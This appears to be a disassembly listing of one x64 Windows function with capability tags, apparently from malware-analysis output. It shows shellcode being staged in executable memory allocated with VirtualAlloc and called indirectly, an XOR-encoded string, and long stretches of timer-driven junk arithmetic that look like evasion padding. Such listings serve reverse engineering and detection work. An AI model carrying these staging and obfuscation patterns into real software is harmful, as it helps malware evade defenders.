Function at 0x14000a570
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4230]
mov eax, 0x4330
call fcn.14002c0e0
sub rsp, rax
movaps xmmword [rsp + 0x4320], xmm6
movaps xmmword [rsp + 0x4310], xmm7
movaps xmmword [rsp + 0x4300], xmm8
movaps xmmword [rsp + 0x42f0], xmm9
movaps xmmword [rsp + 0x42e0], xmm10
movaps xmmword [rsp + 0x42d0], xmm11
movaps xmmword [rsp + 0x42c0], xmm12
movaps xmmword [rsp + 0x42b0], xmm13
movaps xmmword [rsp + 0x42a0], xmm14
movaps xmmword [rsp + 0x4290], xmm15
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rbp + 0x4180], rax
mov qword [rsp + 0x70], rdx
mov qword [rbp + 8], rcx
mov qword [rbp - 0x80], rcx
xor r12d, r12d
lea rcx, [rbp + 0x278]
call fcn.140002560
lea rdx, [rbp + 0x4268]
lea rcx, [rbp + 0x278]
call fcn.140002570
nop
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2be0]
call fcn.14001eae0
mov dword [rbp + 0x210], 0x3e7
mov dword [rbp + 0x214], 0xf423f
lea rdx, [rbp + 0x2be0]
lea rcx, [rbp + 0x210]
call fcn.140020500
mov ebx, eax
lea rcx, [rbp + 0x3d0]
call fcn.14000d340
lea rcx, [rbp + 0x3d0]
call fcn.14001e140
nop
mov edx, ebx
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___int____ptr64]
movsd xmm0, qword [str.n45H]
movsd qword [rsp + 0x50], xmm0
movzx ecx, word [0x14002f6f0]
mov edx, 0x2e
mov word [rsp + 0x50], dx
xor word [rsp + 0x52], 0x42
xor word [rsp + 0x54], 0x44
xor word [rsp + 0x56], 0x46
xor cx, 0x48
mov word [rsp + 0x58], cx
lea rdx, [rsp + 0x50]
mov rcx, rax
call fcn.140020b40
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x3d0]
call fcn.14001e060
nop
mov dword [rbp - 0x38], 0x104
lea rcx, [rbp + 0x290]
call fcn.140002560
lea rdx, [rbp + 0x4268]
lea rcx, [rbp + 0x290]
call fcn.140002570
nop
mov ecx, r12d
lea rdi, [0x140020d20]
lea rbx, [0x140000000]
mov rax, qword [0x14003b180]
test rax, rax
je 0x14000a760
cmp rax, rdi
je 0x14000a74d
inc ecx
mov rax, qword [rbx + rcx*8 + 0x3b180]
test rax, rax
jne 0x14000a737
jmp 0x14000a760
mov eax, ecx
mov r9, qword [rbx + rax*8 + 0x3b7f0]
test r9, r9
jne 0x14000a84f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000a789
mov r9, r12
jmp 0x14000a82e
mov rax, rdi
mov rcx, r9
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000a7a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b7e0]
mov qword [rbx + rax*8 + 0x3b180], rdi
mov qword [rbx + rax*8 + 0x3b7f0], r9
inc rax
mov qword [0x14003b7e0], rax
lea r8, [rbp + 0x3f70]
lea rdx, [rbp - 0x38]
mov rcx, qword [sym.imp.KERNEL32.dll_GetTempPathW]
call r9
nop
mov rcx, qword [rbp + 0x290]
xor rcx, qword [rbp + 0x298]
mov qword [rbp + 0x290], rcx
mov rax, qword [rbp + 0x2a0]
mov qword [rax], rcx
lea rdx, [rbp + 0x3f70]
lea rcx, [rbp + 0x80]
call fcn.14001eec0
mov rbx, rax
mov rdi, qword [rbp + 0x228]
lea r9, [rbp + 0x218]
cmp qword [rbp + 0x230], 7
cmova r9, qword [rbp + 0x218]
mov rsi, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14000a8fa
lea rax, [rdi + rsi]
mov qword [rbx + 0x10], rax
mov r14, rbx
cmp rcx, 7
jbe 0x14000a8df
mov r14, qword [rbx]
lea rcx, [r14 + rsi*2]
lea r8, [rdi + rdi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + rsi]
mov word [r14 + rax*2], r12w
jmp 0x14000a90d
mov qword [rsp + 0x20], rdi
mov rdx, rdi
mov rcx, rbx
call fcn.140021480
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], r12
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x1e8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x1f8], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 7
mov word [rbx], r12w
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x14000a993
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a98e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a98e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002b0a0
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 7
mov word [rbp + 0x80], r12w
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1850]
call fcn.14001eae0
mov dword [rbp + 0x170], 0xffffff9c
mov dword [rbp + 0x174], 0x64
mov dword [rsp + 0x34], r12d
xorps xmm8, xmm8
movsd qword [rbp + 0x150], xmm8
lea rcx, [rbp + 0x38]
call fcn.140001670
mov rbx, qword [rbp + 0x38]
add rbx, 0x5f5e100
mov qword [rbp + 0x1c0], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
mov qword [rbp + 0x188], r12
mov ecx, 8
call fcn.14002b0a8
lea r15, vtable.AddOperation.0
mov qword [rax], r15
mov qword [rbp + 0xe0], r12
mov qword [rbp - 0x70], rax
mov rdx, qword [rbp + 0x180]
cmp rdx, qword [rbp + 0x188]
je 0x14000aa57
mov rcx, r12
mov qword [rbp - 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x180], 8
jmp 0x14000aa6b
lea r8, [rbp - 0x70]
lea rcx, [rbp + 0x178]
call fcn.140022890
mov rcx, qword [rbp - 0x70]
mov r15d, 1
test rcx, rcx
je 0x14000aa7f
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rsi, vtable.MultiplyOperation.0
mov qword [rax], rsi
mov qword [rbp + 0xa0], r12
mov qword [rbp - 0x68], rax
mov rdx, qword [rbp + 0x180]
cmp rdx, qword [rbp + 0x188]
je 0x14000aac2
mov rcx, r12
mov qword [rbp - 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x180], 8
jmp 0x14000aad6
lea r8, [rbp - 0x68]
lea rcx, [rbp + 0x178]
call fcn.140022890
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14000aae4
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rsi, vtable.SubtractOperation.0
mov qword [rax], rsi
mov qword [rbp + 0xa8], r12
mov qword [rbp - 0x60], rax
mov rdx, qword [rbp + 0x180]
cmp rdx, qword [rbp + 0x188]
je 0x14000ab27
mov rcx, r12
mov qword [rbp - 0x60], rcx
mov qword [rdx], rax
add qword [rbp + 0x180], 8
jmp 0x14000ab3b
lea r8, [rbp - 0x60]
lea rcx, [rbp + 0x178]
call fcn.140022890
mov rcx, qword [rbp - 0x60]
test rcx, rcx
je 0x14000ab49
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
nop
mov ecx, 8
call fcn.14002b0a8
lea rsi, vtable.DivideOperation.0
mov qword [rax], rsi
mov qword [rbp + 0x40], r12
mov qword [rbp - 0x58], rax
mov rdx, qword [rbp + 0x180]
cmp rdx, qword [rbp + 0x188]
je 0x14000ab86
mov qword [rbp - 0x58], r12
mov qword [rdx], rax
add qword [rbp + 0x180], 8
jmp 0x14000ab97
lea r8, [rbp - 0x58]
lea rcx, [rbp + 0x178]
call fcn.140022890
nop
lea rcx, [rbp - 0x58]
call fcn.14001e9f0
nop
lea rcx, [rbp + 0x40]
call fcn.14001e9f0
lea rcx, [rbp + 0x48]
call fcn.140020680
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp - 8], rcx
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x178]
call fcn.14001ea10
nop
lea rcx, [rbp - 8]
call fcn.14001e9f0
nop
lea rcx, [rbp + 0x48]
call fcn.14001e9f0
lea rcx, [rbp + 0x50]
call fcn.1400206b0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rbp], rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x178]
call fcn.14001ea10
nop
lea rcx, [rbp]
call fcn.14001e9f0
nop
lea rcx, [rbp + 0x50]
call fcn.14001e9f0
movsd xmm10, qword [0x14002f9d0]
movsd xmm9, qword [0x14002f9f0]
movsd xmm14, qword [0x14002f9e8]
movsd xmm13, qword [0x14002f9e0]
movsd xmm15, qword [0x14002f9d8]
movsd xmm6, qword [0x14002faa0]
movabs rsi, 0xb2f4fc0794908cf3
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000ac7a
imul rax, rcx, 0x64
jmp 0x14000ace9
cmp rdi, 0x16e3600
jne 0x14000acce
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rsi
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000ace9
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000b76b
mov dword [rsp + 0x30], r12d
nop word [rax + rax]
mov r12d, dword [rbp + 0x170]
btc r12d, 0x1f
mov dword [rsp + 0x4c], r12d
mov r13d, dword [rbp + 0x174]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x1850]
cmp r13d, 0xffffffff
jne 0x14000ad4c
call fcn.1400237c0
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
jmp 0x14000adef
lea edi, [r13 + 1]
call fcn.1400237c0
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14000ad8a
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14000ad8a
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000ad72
jmp 0x14000ad8c
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov edx, edi
mov qword [rsp + 0x78], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x14000adeb
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x14000adeb
mov ebx, edx
mov r12, qword [rsp + 0x78]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x14000adc4
mov rbx, qword [rbp + 0x1c0]
mov r12d, dword [rsp + 0x4c]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x180]
mov r8, qword [rbp + 0x178]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x68], rdi
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
cmp r13d, 0xffffffff
jne 0x14000ae3e
mov ecx, eax
jmp 0x14000ae7f
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000ae7b
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x14000ae76
nop dword [rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000ae60
mov rdi, qword [rsp + 0x68]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x34]
mov rcx, r15
call rdi
mov dword [rsp + 0x34], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000aea2
divsd xmm11, xmm1
mulsd xmm11, xmm14
subsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000aef0
divsd xmm12, xmm1
mulsd xmm12, xmm14
subsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm6
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rbp + 0x150]
movsd qword [rbp + 0x150], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000af90
divsd xmm0, xmm2
mulsd xmm0, xmm14
subsd xmm0, xmm13
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rbp + 0x150]
subsd xmm1, xmm0
movsd qword [rbp + 0x150], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000b000
divsd xmm0, xmm2
mulsd xmm0, xmm14
subsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rbp + 0x150]
mulsd xmm0, xmm1
movsd qword [rbp + 0x150], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
xor r15d, r15d
mov qword [rbp + 0x248], r15
mov qword [rbp + 0x250], r15
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x238]
call fcn.140021930
nop
lea rdi, [rbp + 0x238]
cmp qword [rbp + 0x250], 0xf
cmova rdi, qword [rbp + 0x238]
lea rcx, [rbp + 0x238]
cmova rcx, qword [rbp + 0x238]
mov rsi, qword [rbp + 0x248]
add rsi, rcx
cmp rdi, rsi
je 0x14000b107
nop
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000b0f7
nop word [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000b0e0
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000b0c0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov qword [rbp + 0x1a0], r15
mov ecx, 0x190
call fcn.14002b0a8
mov qword [rbp + 0x190], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x1a0], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x198], r14
mov rsi, qword [rbp + 0x190]
cmp rsi, r14
je 0x14000b18c
nop dword [rax + rax]
lea rdx, [rbp + 0x1850]
lea rcx, [rbp + 0x170]
call fcn.140020500
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000b160
mov r14, qword [rbp + 0x198]
mov rsi, qword [rbp + 0x190]
mov dword [rbp + 0x208], 0xffffff9c
mov dword [rbp + 0x20c], 0x64
cmp rsi, r14
je 0x14000b1e0
nop word [rax + rax]
mov edi, dword [rsi]
lea rdx, [rbp + 0x1850]
lea rcx, [rbp + 0x208]
call fcn.140020500
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000b1b0
mov r14, qword [rbp + 0x198]
mov rsi, qword [rbp + 0x190]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140023200
mov r8d, r15d
mov rax, qword [rbp + 0x190]
mov rdx, r15
mov r9, qword [rbp + 0x198]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x14000b281
cmp rcx, 8
jb 0x14000b281
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000b240
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000b29c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000b290
mov eax, dword [rsp + 0x34]
add eax, r8d
mov dword [rsp + 0x34], eax
mov esi, dword [rbp + 0x170]
btc esi, 0x1f
mov r12d, dword [rbp + 0x174]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x1850]
cmp r12d, 0xffffffff
jne 0x14000b2ee
call fcn.1400237c0
lea edi, [rsi + rax]
xor edi, 0x80000000
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
jmp 0x14000b391
inc r12d
call fcn.1400237c0
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000b32a
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x14000b32a
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000b314
shr rcx, 0x20
lea r14d, [rsi + rcx]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14000b38d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000b38d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000b370
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov dword [rsp + 0x34], ecx
mov eax, dword [rsp + 0x34]
mov r14d, dword [rbp + 0x170]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x174]
lea rcx, [rbp + 0x1850]
jne 0x14000b459
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000b404
call fcn.1400237c0
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
jmp 0x14000b4b7
lea edi, [rax + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000b446
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000b446
nop word [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000b430
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
jmp 0x14000b4b7
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000b46e
call fcn.1400237c0
mov ecx, eax
jmp 0x14000b4aa
lea edi, [rax + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000b4a6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000b4a6
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000b490
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov r12d, dword [rbp + 0x170]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x174]
btc r15d, 0x1f
sub r15d, r12d
nop dword [rax]
xor r14d, r14d
lea rcx, [rbp + 0x1850]
cmp r15d, 0xffffffff
jne 0x14000b4f9
call fcn.1400237c0
mov ecx, eax
jmp 0x14000b53a
lea edi, [r15 + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000b536
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000b536
nop dword [rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000b520
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
add eax, ecx
mov dword [rsp + 0x34], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000b560
divsd xmm1, xmm2
mulsd xmm1, xmm14
subsd xmm1, xmm13
addsd xmm1, qword [rbp + 0x150]
movsd qword [rbp + 0x150], xmm1
test r14b, 1
jne 0x14000b61e
lea rcx, [rbp + 0x1850]
cmp r15d, 0xffffffff
jne 0x14000b5c8
call fcn.1400237c0
mov ecx, eax
jmp 0x14000b60a
lea edi, [r15 + 1]
call fcn.1400237c0
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000b606
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000b606
nop dword [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000b5f0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x34]
imul eax, ecx
mov dword [rsp + 0x34], eax
jmp 0x14000b685
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1850]
call fcn.1400237c0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000b630
divsd xmm1, xmm2
mulsd xmm1, xmm14
subsd xmm1, xmm13
movsd xmm0, qword [rbp + 0x150]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rbp + 0x150], xmm0
inc r14d
cmp r14d, 5
jl 0x14000b4e3
sub r13, 1
jne 0x14000b4e0
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x14000b6fb
mov rax, qword [rbp + 0x1a0]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b75d
call fcn.14002b0a0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x190], xmm0
xor r12d, r12d
mov qword [rbp + 0x1a0], r12
jmp 0x14000b6fe
xor r12d, r12d
mov rdx, qword [rbp + 0x250]
cmp rdx, 0xf
jbe 0x14000b73b
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b764
call fcn.14002b0a0
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp eax, 0x186a0
movsd xmm6, qword [0x14002faa0]
jl 0x14000ad00
jmp 0x14000ac47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x34]
mov rbx, qword [rbp + 0x178]
mov r15d, 1
test rbx, rbx
je 0x14000b809
mov rdi, qword [rbp + 0x180]
cmp rbx, rdi
je 0x14000b7b1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000b7a1
mov rax, qword [rcx]
mov edx, r15d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000b791
mov rbx, qword [rbp + 0x178]
mov rax, qword [rbp + 0x188]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000b7ef
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b7ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002b0a0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r12
lea rcx, [rbp + 0x2c0]
call fcn.14000d3c0
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x2c0]
call fcn.14001d910
nop
cmp qword [rbp + 0x348], 0
je 0x14000d210
lea rcx, [rbp + 0x1c8]
call fcn.14001f000
nop
mov rcx, qword [rsp + 0x70]
call fcn.14001ee10
